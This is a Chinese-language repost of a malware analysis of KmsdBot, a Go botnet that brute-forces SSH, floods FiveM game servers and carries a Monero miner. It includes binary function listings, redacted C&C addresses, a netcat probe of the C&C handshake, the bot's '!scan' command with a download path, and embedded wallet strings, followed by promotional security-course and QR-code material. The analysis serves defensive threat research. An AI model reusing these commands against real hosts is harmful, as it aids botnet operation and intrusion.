Akamai 最近通过全球部署的蜜罐,发现了一个为游戏行业量身定制的具有 DDoS 能力与加密货币挖掘能力的僵尸网络 KmsdBot。

发现 KmsdBot

由于蜜罐是对外开放的,会有大量的攻击行为被发现,其中有很多下载恶意软件的命令。其中有一个引起了分析人员的注意:

下载日志

攻击者利用 FTP 下载所需的恶意样本,FTP 服务器上还有很多其他样本。

支持各种架构

从目录上看恶意软件支持各种 CPU 架构,但其实有些包含二进制文件,有些是空目录。攻击者可能在陆续扩展所支持的架构,扩大攻击目标范围。

download.php 脚本中包含恶意代码,用于在 Web 服务器上下载恶意软件。

恶意代码

部分架构(如 x86_64 和 386)下有恶意样本能够下载,如下所示:

大小相似的二进制文件似乎是同一恶意软件代码的修改版

这些样本都是 Go 开发的二进制文件:

client: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically
linked, Go BuildID=ob_PyXeD8H4173aDP-
NM/Z7DzwyNXZ8c1Wr7LyTOK/t8bg8nky3tdpKdKSAvyp/nWexL6rk1sZt5hRLfgs, with
debug_info, not stripped
ksmdm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, Go
BuildID=lmjZVXbGVxjEutEAYziK/ak2EoKWzPPmCz2ipOltK/uKypKwO7m2jjT2AT0qnG/PiKIqd334XYNEl_likc3,
with debug_info, not stripped
ksmds: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, Go
BuildID=CV7cqV3r6hVM05Ma2jpB/kc_FWOhPv8HtKZQUhiUi/jrGTR9lhjVWxp-9kHdDA/ev1S8rMmqqwjpvWz4sLX,
with debug_info, not stripped
ksmdx: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, Go
BuildID=S65yXt0R7hEC1YEm5Ci7/qGG-
jP6bpvA1TCgQwZoV/WpM491XNek0FReOrQmX
/EMNmhh6mJI8ycZhLPtP4, with debug_info,
not stripped
kxmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, Go
BuildID=57pm413aVTQ8gOrUjHox/DwlgdSzYxLxitlBpe0OR/hdbtJaHv8ujFruku5AIJ/RrSUbVKsJ9wj-
rBopzh3, with debug_info, not stripped
kzmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, Go
BuildID=2FTLNIjq7bgMnSOW0NhD/YBc64Ubft703RycI5yQL/85YkVXL_eseyGJG3XHm1/M_laLRa5tNb5oeZ24ROq,
with debug_info, not stripped

分析

这些二进制文件的包名称都是 /root/client,这意味着它们可能都是相同的恶意软件,只是版本不同。他们中有一个文件能够完成 C&C
通信、软件更新与加密货币挖掘,另一个文件可以进行攻击。

$ diff client.source ksmdm.source
19,23c19,23
< start Lines: 12 to 28 (16)
< startfunc1 Lines: 19 to 30 (11)
< startfunc2 Lines: 22 to 22 (0)
< udpclimb Lines: 30 to 60 (30)

< tcpclimb Lines: 60 to 88 (28)

start Lines: 10 to 26 (16)
startfunc1 Lines: 17 to 28 (11)
startfunc2 Lines: 20 to 20 (0)
udpclimb Lines: 28 to 58 (30)
tcpclimb Lines: 58 to 86 (28)

恶意软件的攻击目标是一家名为 FiveM 的游戏公司,支持用户为 Grand Theft Auto Online 部署自定义私服。下图为样本打开 UDP
套接字后,使用 FiveM Token 构建数据包,浪费服务器资源。

构建数据包

扫描传播

ksmdx 样本中包含扫描、更新与挖矿的功能:

Package main: /root/client
File: client.go
(*Client)Recv Lines: 23 to 34 (11)
(*Client)Handle Lines: 34 to 52 (18)
(*Client).Handlefunc1 Lines: 35 to 35 (0)
File: command.go
NewCommand Lines: 15 to 32 (17)
(*Command)Handle Lines: 32 to 62 (30)
File: commandfunctions.go
ShellExec Lines: 11 to 23 (12)
scan Lines: 23 to 50 (27)
stopscan Lines: 50 to 69 (19)
updateminer Lines: 69 to 108 (39)
stopmine Lines: 108 to 127 (19)
updateclient Lines: 127 to 159 (32)
File: main.go
main Lines: 8 to 16 (8)
File: methods.go
start Lines: 12 to 28 (16)
startfunc1 Lines: 19 to 30 (11)
startfunc2 Lines: 22 to 22 (0)
udpclimb Lines: 30 to 60 (30)
tcpclimb Lines: 60 to 88 (28)
File: utils.go
randomwallet Lines: 73 to 79 (6)
envname Lines: 79 to 129 (50)

ksmdx 会向 C&C 服务器发送 Bruh Started:的 HTTP POST 请求,以此进行失陷主机上线。

$./ksmdx 192.168.0.14 /ksmdm 192.168.0.14 kumd kxmds

HTTP 日志中的请求为:

192.168.0.44 - - [20/Oct/2022:13:09:34 -0400] “GET /ksmdm HTTP/1.1” 200
2904330 “-” “Go-http-client/1.1”

在 45833 端口上可以看到 POST 请求:

POST
请求

向 C&C 服务器发送 !scan 命令即可获取 SSH 服务凭据爆破列表:

爆破列表

!scan xxx.xxx.xxx.xxx xxx.xxx.xxx.xxx/win/kzmds xxx.xxx.xxx.xxx kvmd kmsd

C&C 通信

蜜罐日志中能够看到恶意软件从一个新的 IP 地址对蜜罐发起攻击,上传了新的恶意样本,内置了新的 C&C IP 地址。

[pid 18212] connect(3, {sa_family=AF_INET, sin_port=htons(51382),
sin_addr=inet_addr(“xxx.xxx.xxx.xxx”)}, 16) = -1 EINPROGRESS (Operation now
in progress)
[pid 1047] connect(4, {sa_family=AF_INET, sin_port=htons(51388),
sin_addr=inet_addr(“xxx.xxx.xxx.xxx”)}, 16) = -1 EINPROGRESS (Operation now
in progress)

查看流量可以发现失陷主机使用空字节初始化连接,C&C 服务器响应 0x01,随后失陷主机返回 0x02。

[pid 2514865] write(4, “0x02”, 4) = 4

And 0x01 is the response

xxx.xxx.xxx.xxx.51388 > xxx.xxx.xxx.xxx.52280: Flags [P.], cksum 0xf2b4 (correct), seq 20:24, ack 21, win 510, options [nop,nop,TS val 1019359456 ecr 4067014838], length 4
0x0000:  4500 0038 adf3 4000 3a06 9b4a ab16 1e1f  E..8..@.:..J....
0x0010:  c63a 6812 c8bc cc38 81f9 f90a abeb 552a  .:h....8......U*
0x0020:  8018 01fe f2b4 0000 0101 080a 3cc2 30e0  ............<.0.
0x0030:  f269 b8b6 3078 3031                      .i..0x01

使用 netcat 可以进行简单测试:

$ echo “0x00” | nc xxx.xxx.xxx.xxx 51388
0x01

[pid 2516369] write(4, “0x00”, 4) = 4

It looks like 0x02 is the heartbeat

xxx.xxx.xxx.xxx.52280 > xxx.xxx.xxx.xxx.51388: Flags [P.], cksum 0xf7ac (incorrect -> 0xd616), seq 57:61, ack 57, win 502, options [nop,nop,TS val 4066922833 ecr 1019262337], length 4
0x0000:  4500 0038 3010 4000 4006 132e c63a 6812  E..80.@.@....:h.
0x0010:  ab16 1e1f cc38 c8bc abeb 54de 81f9 f8c2  .....8....T.....
0x0020:  8018 01f6 f7ac 0000 0101 080a f268 5151  .............hQQ
0x0030:  3cc0 b-581 3078 3032                      <...0x02

通信流量如下所示:

% telnet xxx.xxx.xxx.xxx 57388
Trying xxx.xxx.xxx.xxx…
Connected to xxx.xxx.xxx.xxx.
Escape character is ‘^]’.
0x00
0x010x02
0x010x02
0x010x02
0x010x02
0x010x02
0x01

挖矿

sym.main.randomwallet() 函数中内置了数个钱包地址,在连接矿池时会随机选择。分析人员在分析时,并未发现任何挖矿行为,僵尸网络只进行了
DDoS 攻击。当然,攻击者仍然可以通过 ./ksmdr -o pool.hashvault.pro 命令来启动挖矿。

│ │╎ 0x0065b6b0 488d05356c08. lea rax, [0x006e22ec] ;
“42WDUXX5UYtNf9DyboNRx6TgNrJD43QfgTvEjh8djtdKVoNppnN96Nz8sVp2wWJTQgW9e8XjFLkv6KpSEgwWbLXLMKn5wwg42vGrE1WDpKgue8Y9ewpi6gXupMqDqYi”
│ │╎ 0x0065b6b7 4889442428 mov qword [var_28h], rax
│ │╎ 0x0065b6bc 48c74424305f. mov qword [var_30h], 0x5f ; ‘
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6c5 488d053d6d08. lea rax, [0x006e2409] ;
“46DBehyheMSatgdGffv8SVAEK8ts6Ur4wToVNL99Yqo6ZGnv7q4QpaxG7YnaasngPvN1rbyxYyCZAABgyXyme92wRMaVn1V3617de4a96262c6f5d9e98bf9292dc29”
│ │╎ 0x0065b6cc 4889442438 mov qword [var_38h], rax
│ │╎ 0x0065b6d1 48c74424405f. mov qword [var_40h], 0x5f ; '

│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6da 488d05c96c08. lea rax, [0x006e23aa] ;
“45yK4gR5QCNag2X4g6ss6PUiL4s1e929b8mev4Rz3CbiTPU9NSXYHiyPL9FMi6cDVvD7EKho4atUf82s3vkVfFXNSsMqyUE46DBehyheMSatgdGffv8SVAEK8ts6Ur4”
│ │╎ 0x0065b6e1 4889442448 mov qword [var_48h], rax
│ │╎ 0x0065b6e6 48c74424505f. mov qword [var_50h], 0x5f ; ‘_’
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6ef 488d05556c08. lea rax, [0x006e234b] ;
“42vGrE1WDpKgue8Y9ewpi6gXupMqDqYiKV4EwM7CFZFuNdRKP3dG6rADE7DRAcoEWGY6LmgCRKAiX16wGAu3Tj4mMQ9HR5B45yK4gR5QCNag2X4g6ss6PUiL4s1e929”

对样本分析后,可以确定很多文件都是同一代码库的不同版本,僵尸网络仍然在积极迭代更新。

$ diff reports/kxmd/kxmd-src.txt
reports/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51-src.txt
8c8

< (*Command)Handle Lines: 32 to 136 (104)

(*Command)Handle Lines: 32 to 144 (112)
11,18c11,20
< scan Lines: 23 to 50 (27)
< stopscan Lines: 50 to 69 (19)
< updateminer Lines: 69 to 108 (39)
< stopmine Lines: 108 to 127 (19)
< updateclient Lines: 127 to 161 (34)
< loadclient Lines: 161 to 180 (19)
< startminer Lines: 180 to 193 (13)

< reloadminer Lines: 193 to 208 (15)

scan Lines: 23 to 52 (29)
startscan Lines: 52 to 75 (23)
stopscan Lines: 75 to 97 (22)
updateminer Lines: 97 to 144 (47)
stopmine Lines: 144 to 166 (22)
updateclient Lines: 166 to 202 (36)
loadclient Lines: 202 to 221 (19)
removefile Lines: 221 to 235 (14)
startminer Lines: 235 to 248 (13)
reloadminer Lines: 248 to 264 (16)
54,60c56,62
< getrandpath Lines: 12 to 62 (50)
< get Lines: 62 to 109 (47)
< fivem Lines: 109 to 156 (47)
< fivemguid Lines: 156 to 204 (48)
< post1 Lines: 204 to 255 (51)
< post Lines: 255 to 344 (89)

< bigdata Lines: 344 to 386 (42)

getrandpath Lines: 11 to 61 (50)
get Lines: 61 to 108 (47)
fivem Lines: 108 to 158 (50)
fivemguid Lines: 158 to 206 (48)
post1 Lines: 206 to 257 (51)
post Lines: 257 to 346 (89)
bigdata Lines: 346 to 388 (42)

攻击流量分析

在四层 TCP/UDP 攻击数据包中,随机数据作为 Payload。在七层 HTTP 攻击数据包中,针对特定路径发起 GET/POST 请求。

攻击请求

攻击请求

攻击请求

在函数 sym.main.connect() 中定义了 C&C 通信,如下所示:

C&C
通信

C&C
通信

TCP
洪水数据包

结论

KmsdBot 最初针对游戏公司进行攻击,目前已经转向大型奢侈品品牌。尽管攻击方式仍然是原始的 SSH 服务爆破,但仍然应该引起注意。

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

又一个 Golang 编写的僵尸网络:KmsdBot相关推荐

  1. 一个golang编写的redis内存分析工具rma4go

    redis 内存分析工具 rma4go 简介 redis是一个很有名的内存型数据库,这里不做详细介绍.而rma4go (redis memory analyzer for golang) 是一个red ...

  2. golang 命令行_如何使用Golang编写快速有趣的命令行应用程序

    golang 命令行 by Peter Benjamin 彼得·本杰明(Peter Benjamin) 如何使用Golang编写快速有趣的命令行应用程序 (How to write fast, fun ...

  3. frp ---- golang编写的内网穿透工具简介

    官网: https://gofrp.org/ frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP.UDP.HTTP.HTTPS 等多种协议.可以将内网服务以安全.便捷的方式通过具有公网 ...

  4. 使用Golang编写Android应用

    这是一个如何使用GOLANG编写ANDROID应用程序的基本演示,在某些情况下会很有用,比如需要在GO和JAVA语言之间共享一个加解密算法时. 下面是一个如何使用Golang编写Android应用程序 ...

  5. Github每日精选(第77期):Go (Golang) 编写的 HTTP Web 框架gin

    Gin Gin 是一个用 Go (Golang) 编写的 Web 框架.由于httprouter,它具有类似 martini 的 API,性能提高了 40 倍.如果您需要性能和良好的生产力,您一定会喜 ...

  6. python 调用golang_python调用golang编写的动态链接库

    楔子 我们都知道python的效率很低,但是好在可以和C语言无缝结合,C语言写好动态链接库之后再让python去调用简直不要太方便.但是使用C编写动态链接库也不是件容易的事情,于是笔者想到了go,go ...

  7. 开源一个golang小程序商城后台系统(moshopserver)

    开源一个golang小程序商城后台系统(moshopserver) 开源一个golang小程序商城后台(moshopserver) golang和c/c++比起来是一门新的语言,一直想学,网上搜集了一 ...

  8. Golang编写简单图片服务器

    Golang编写简单图片服务器 图片服务器 最近的开发过程中,遇到一个问题,就是大量零碎图片的存储,最后我决定研究一个简单的图像服务器,以解决图像文件存储的性能问题.在此,写一篇博文记录我经历的思想过 ...

  9. golang 编写的邮件客户端

    近期开始学习 golang ,编写了邮件客户端: golang编写的邮件客户端[一]基本框架搭建:从smtp服务器获取消息 golang编写的邮件客户端[二]添加读写协程 转载于:https://ww ...

最新文章

  1. Spring Cloud构建微服务架构:分布式服务跟踪(入门)
  2. css制作圆角矩形,CSS绘制圆角矩形图形的效果
  3. 绿色数据中心建设刻不容缓
  4. Android开发编码规范pdf文件下载
  5. vba copy sheet
  6. 服务器查看数据库日志文件,服务器数据库查看日志文件
  7. Leetcode Insertion Sort List
  8. hadoop shell 详解
  9. 怎么删除360base64.dll,这个方法百分百管用
  10. TCP——TCP报文分析及TCP状态机、非法TCP报文标志组合
  11. 业务中台--企业流程优化
  12. 登录邮箱怎么登录?163手机邮箱登录入口在这里
  13. 处理 Exception 的几种实践,被很多团队采纳!
  14. 中小企业如何化解经济危机
  15. COMP9021笔记
  16. Android 12 关机确认提示弹窗超出屏幕或随分辨率大小比例改变的问题解决
  17. 迅投QMT行情获取的代码分享
  18. “工匠”的精神 新一代旗舰AP为中科院物理所“铸魂”
  19. 中望CAD机械明细栏菜单插件开发(C#)
  20. 我的AI之路(20)--用Tensorflow object_detection跑raccoon数据集

热门文章

  1. 让家庭机器人成标配,我们还需要等多久?
  2. 中小企业上马ERP要谨慎
  3. JAVA-20 从前端传数据到数据库
  4. 一步一步教你安装MeeGO和Windows 7双系统(上网本或笔记本)
  5. Mac 截图工具 iShot Pro - 软件介绍、下载安装详细教程
  6. esim办理出现差错_中国联通科普eSIM卡使用攻略 关于eSIM卡常见问题答疑
  7. 黑马程序员----swift基础语法!
  8. 数据分析面试:Excel必考知识点!
  9. 春季活动策划案例合集(共25份)
  10. Torch.arange函数详解